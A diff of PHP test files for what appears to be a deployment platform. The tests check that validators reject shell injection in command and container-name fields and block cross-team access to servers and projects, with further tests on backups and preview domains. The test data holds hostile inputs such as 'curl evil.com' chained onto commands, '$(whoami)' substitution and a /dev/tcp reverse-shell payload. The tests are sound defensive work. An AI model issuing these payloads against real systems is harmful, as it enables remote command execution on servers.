['docker_compose_custom_start_command' => 'docker compose up -d --build --build-arg VERSION="1.0.0"'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects newline injection in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects carriage return injection in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('runtime validates docker compose commands', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validateShellSafeCommand');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
|
||||
|
||||
expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
|
||||
|
||||
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
|
||||
->toBe('docker compose up -d --build');
|
||||
});
|
||||
});
|
||||
|
||||
describe('custom_docker_run_options validation', function () {
|
||||
test('rejects semicolon injection in custom_docker_run_options', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in custom_docker_run_options', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => '--hostname=$(whoami)'],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid docker run options', function ($opts) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['custom_docker_run_options' => $opts],
|
||||
['custom_docker_run_options' => $rules['custom_docker_run_options']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
|
||||
'--privileged --init',
|
||||
'--memory=512m --cpus=2',
|
||||
]);
|
||||
});
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('rejects shell injection in container name', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['post_deployment_command_container' => 'my-container; echo pwned'],
|
||||
['post_deployment_command_container' => $rules['post_deployment_command_container']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid container names', function ($name) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['post_deployment_command_container' => $name],
|
||||
['post_deployment_command_container' => $rules['post_deployment_command_container']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['my-app', 'nginx_proxy', 'web.server', 'app123']);
|
||||
|
||||
test('runtime validates container names', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validateContainerName');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'container; echo pwned'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
|
||||
expect($method->invoke($instance, 'my-app'))
|
||||
->toBe('my-app');
|
||||
});
|
||||
});
|
||||
|
||||
describe('dockerfile_target_build rules survive array_merge in controller', function () {
|
||||
test('dockerfile_target_build safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged)->toHaveKey('dockerfile_target_build');
|
||||
expect($merged['dockerfile_target_build'])->toBeArray();
|
||||
expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('docker_compose_custom_command rules survive array_merge in controller', function () {
|
||||
test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
// After our fix, local no longer contains docker_compose_custom_start_command,
|
||||
// so the shared regex rule must survive
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_start_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_build_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('API route middleware for deploy actions', function () {
|
||||
test('application start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
@@ -274,3 +672,185 @@ describe('API route middleware for deploy actions', function () {
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () {
|
||||
test('rejects semicolon injection in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => 'npm install; curl evil.com'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects pipe injection in build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => 'npm run build | curl evil.com'],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => 'npm start $(whoami)'],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects backtick injection in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => 'npm install `whoami`'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects dollar sign in build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => 'npm run build $HOME'],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects reverse shell payload in install_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects newline injection in start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => "npm start\ncurl evil.com"],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid install commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['install_command' => $cmd],
|
||||
['install_command' => $rules['install_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm install',
|
||||
'yarn install --frozen-lockfile',
|
||||
'pip install -r requirements.txt',
|
||||
'bun install',
|
||||
'pnpm install --no-frozen-lockfile',
|
||||
]);
|
||||
|
||||
test('allows valid build commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $cmd],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm run build',
|
||||
'cargo build --release',
|
||||
'go build -o main .',
|
||||
'yarn build && yarn postbuild',
|
||||
'make build',
|
||||
]);
|
||||
|
||||
test('allows valid start commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['start_command' => $cmd],
|
||||
['start_command' => $rules['start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'npm start',
|
||||
'node server.js',
|
||||
'python main.py',
|
||||
'java -jar app.jar',
|
||||
'./start.sh',
|
||||
]);
|
||||
|
||||
test('allows null values for command fields', function ($field) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
[$field => null],
|
||||
[$field => $rules[$field]]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['install_command', 'build_command', 'start_command']);
|
||||
});
|
||||
|
||||
describe('install/build/start command rules survive array_merge in controller', function () {
|
||||
test('install_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['install_command'])->toBeArray();
|
||||
expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['build_command'])->toBeArray();
|
||||
expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['start_command'])->toBeArray();
|
||||
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('populates fqdn from docker_compose_domains after generate_preview_fqdn_compose', function () {
|
||||
$application = Application::factory()->create([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => json_encode([
|
||||
'web' => ['domain' => 'https://example.com'],
|
||||
]),
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 42,
|
||||
'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
$preview->generate_preview_fqdn_compose();
|
||||
|
||||
$preview->refresh();
|
||||
|
||||
expect($preview->fqdn)->not->toBeNull();
|
||||
expect($preview->fqdn)->toContain('42');
|
||||
expect($preview->fqdn)->toContain('example.com');
|
||||
});
|
||||
|
||||
it('populates fqdn with multiple domains from multiple services', function () {
|
||||
$application = Application::factory()->create([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => json_encode([
|
||||
'web' => ['domain' => 'https://web.example.com'],
|
||||
'api' => ['domain' => 'https://api.example.com'],
|
||||
]),
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 7,
|
||||
'pull_request_html_url' => 'https://github.com/example/repo/pull/7',
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
$preview->generate_preview_fqdn_compose();
|
||||
|
||||
$preview->refresh();
|
||||
|
||||
expect($preview->fqdn)->not->toBeNull();
|
||||
$domains = explode(',', $preview->fqdn);
|
||||
expect($domains)->toHaveCount(2);
|
||||
expect($preview->fqdn)->toContain('web.example.com');
|
||||
expect($preview->fqdn)->toContain('api.example.com');
|
||||
});
|
||||
|
||||
it('sets fqdn to null when no domains are configured', function () {
|
||||
$application = Application::factory()->create([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => json_encode([
|
||||
'web' => ['domain' => ''],
|
||||
]),
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => 99,
|
||||
'pull_request_html_url' => 'https://github.com/example/repo/pull/99',
|
||||
'docker_compose_domains' => $application->docker_compose_domains,
|
||||
]);
|
||||
|
||||
$preview->generate_preview_fqdn_compose();
|
||||
|
||||
$preview->refresh();
|
||||
|
||||
expect($preview->fqdn)->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,182 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Boarding\Index as BoardingIndex;
|
||||
use App\Livewire\GlobalSearch;
|
||||
use App\Livewire\Project\CloneMe;
|
||||
use App\Livewire\Project\DeleteProject;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Attacker: Team A
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
// Victim: Team B
|
||||
$this->userB = User::factory()->create();
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
|
||||
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
// Act as attacker (Team A)
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('boarding mount cannot load server from another team via selectedExistingServer', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedServerType' => 'remote',
|
||||
'selectedExistingServer' => $this->serverB->id,
|
||||
]);
|
||||
|
||||
// The server from Team B should NOT be loaded
|
||||
expect($component->get('createdServer'))->toBeNull();
|
||||
});
|
||||
|
||||
test('boarding mount can load own team server via selectedExistingServer', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedServerType' => 'remote',
|
||||
'selectedExistingServer' => $this->serverA->id,
|
||||
]);
|
||||
|
||||
// Own team server should load successfully
|
||||
expect($component->get('createdServer'))->not->toBeNull();
|
||||
expect($component->get('createdServer')->id)->toBe($this->serverA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('boarding mount cannot load project from another team via selectedProject', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedProject' => $this->projectB->id,
|
||||
]);
|
||||
|
||||
// The project from Team B should NOT be loaded
|
||||
expect($component->get('createdProject'))->toBeNull();
|
||||
});
|
||||
|
||||
test('boarding selectExistingProject cannot load project from another team', function () {
|
||||
$component = Livewire::test(BoardingIndex::class)
|
||||
->set('selectedProject', $this->projectB->id)
|
||||
->call('selectExistingProject');
|
||||
|
||||
expect($component->get('createdProject'))->toBeNull();
|
||||
$component->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('boarding selectExistingProject can load own team project', function () {
|
||||
$component = Livewire::test(BoardingIndex::class)
|
||||
->set('selectedProject', $this->projectA->id)
|
||||
->call('selectExistingProject');
|
||||
|
||||
expect($component->get('createdProject'))->not->toBeNull();
|
||||
expect($component->get('createdProject')->id)->toBe($this->projectA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('loadDestinations cannot access server from another team', function () {
|
||||
$component = Livewire::test(GlobalSearch::class)
|
||||
->set('selectedServerId', $this->serverB->id)
|
||||
->call('loadDestinations');
|
||||
|
||||
// Should dispatch error because server is not found (team-scoped)
|
||||
$component->assertDispatched('error');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('loadEnvironments cannot access project from another team', function () {
|
||||
$component = Livewire::test(GlobalSearch::class)
|
||||
->set('selectedProjectUuid', $this->projectB->uuid)
|
||||
->call('loadEnvironments');
|
||||
|
||||
// Should not load environments from another team's project
|
||||
expect($component->get('availableEnvironments'))->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('cannot mount DeleteProject with project from another team', function () {
|
||||
// Should throw ModelNotFoundException (404) because team-scoped query won't find it
|
||||
Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
|
||||
})->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
|
||||
|
||||
test('can mount DeleteProject with own team project', function () {
|
||||
$component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
|
||||
|
||||
expect($component->get('projectName'))->toBe($this->projectA->name);
|
||||
});
|
||||
});
|
||||
|
||||
describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('cannot mount CloneMe with project UUID from another team', function () {
|
||||
// Should throw ModelNotFoundException because team-scoped query won't find it
|
||||
Livewire::test(CloneMe::class, [
|
||||
'project_uuid' => $this->projectB->uuid,
|
||||
'environment_uuid' => $this->environmentB->uuid,
|
||||
]);
|
||||
})->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
|
||||
|
||||
test('can mount CloneMe with own team project UUID', function () {
|
||||
$component = Livewire::test(CloneMe::class, [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
]);
|
||||
|
||||
expect($component->get('project_id'))->toBe($this->projectA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
|
||||
test('deploy cancel API cannot access build server from another team', function () {
|
||||
// Create a deployment queue entry that references Team B's server as build_server
|
||||
$application = \App\Models\Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
$deployment = \App\Models\ApplicationDeploymentQueue::create([
|
||||
'application_id' => $application->id,
|
||||
'deployment_uuid' => 'test-deploy-'.fake()->uuid(),
|
||||
'server_id' => $this->serverA->id,
|
||||
'build_server_id' => $this->serverB->id, // Cross-team build server
|
||||
'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
|
||||
]);
|
||||
|
||||
$token = $this->userA->createToken('test-token', ['*']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
|
||||
|
||||
// The cancellation should proceed but the build_server should NOT be found
|
||||
// (team-scoped query returns null for Team B's server)
|
||||
// The deployment gets cancelled but no remote process runs on the wrong server
|
||||
$response->assertOk();
|
||||
|
||||
// Verify the deployment was cancelled
|
||||
$deployment->refresh();
|
||||
expect($deployment->status)->toBe(
|
||||
\App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -1,6 +1,10 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\DatabaseBackupJob;
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
@@ -35,3 +39,184 @@ test('scheduled database backup execution model casts storage deletion fields co
|
||||
expect($casts)->toHaveKey('s3_storage_deleted');
|
||||
expect($casts['s3_storage_deleted'])->toBe('boolean');
|
||||
});
|
||||
|
||||
test('upload_to_s3 throws exception and disables s3 when storage is null', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => 99999,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => Team::factory()->create()->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$s3Property = $reflection->getProperty('s3');
|
||||
$s3Property->setValue($job, null);
|
||||
|
||||
$method = $reflection->getMethod('upload_to_s3');
|
||||
|
||||
expect(fn () => $method->invoke($job))
|
||||
->toThrow(Exception::class, 'S3 storage configuration is missing or has been deleted');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('deleting s3 storage disables s3 on linked backups', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$s3 = S3Storage::create([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$backup1 = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$backup2 = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandaloneMysql',
|
||||
'database_id' => 2,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
// Unrelated backup should not be affected
|
||||
$unrelatedBackup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => null,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 3,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$s3->delete();
|
||||
|
||||
$backup1->refresh();
|
||||
$backup2->refresh();
|
||||
$unrelatedBackup->refresh();
|
||||
|
||||
expect($backup1->save_s3)->toBeFalsy();
|
||||
expect($backup1->s3_storage_id)->toBeNull();
|
||||
expect($backup2->save_s3)->toBeFalsy();
|
||||
expect($backup2->s3_storage_id)->toBeNull();
|
||||
expect($unrelatedBackup->save_s3)->toBeTruthy();
|
||||
});
|
||||
|
||||
test('failed method does not overwrite successful backup status', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$log = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => 'test-uuid-success-guard',
|
||||
'database_name' => 'test_db',
|
||||
'filename' => '/backup/test.dmp',
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'success',
|
||||
'message' => 'Backup completed successfully',
|
||||
'size' => 1024,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$teamProp = $reflection->getProperty('team');
|
||||
$teamProp->setValue($job, $team);
|
||||
|
||||
$logUuidProp = $reflection->getProperty('backup_log_uuid');
|
||||
$logUuidProp->setValue($job, 'test-uuid-success-guard');
|
||||
|
||||
// Simulate a post-backup failure (e.g. notification error)
|
||||
$job->failed(new Exception('Request to the Resend API failed'));
|
||||
|
||||
$log->refresh();
|
||||
expect($log->status)->toBe('success');
|
||||
expect($log->message)->toBe('Backup completed successfully');
|
||||
expect($log->size)->toBe(1024);
|
||||
});
|
||||
|
||||
test('failed method updates status when backup was not successful', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$log = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => 'test-uuid-pending-guard',
|
||||
'database_name' => 'test_db',
|
||||
'filename' => '/backup/test.dmp',
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'pending',
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$teamProp = $reflection->getProperty('team');
|
||||
$teamProp->setValue($job, $team);
|
||||
|
||||
$logUuidProp = $reflection->getProperty('backup_log_uuid');
|
||||
$logUuidProp->setValue($job, 'test-uuid-pending-guard');
|
||||
|
||||
$job->failed(new Exception('Some real failure'));
|
||||
|
||||
$log->refresh();
|
||||
expect($log->status)->toBe('failed');
|
||||
expect($log->message)->toContain('Some real failure');
|
||||
});
|
||||
|
||||
test('s3 storage has scheduled backups relationship', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$s3 = S3Storage::create([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => $s3->id,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
expect($s3->scheduledBackups()->count())->toBe(1);
|
||||
});
|
||||
@@ -0,0 +1,346 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
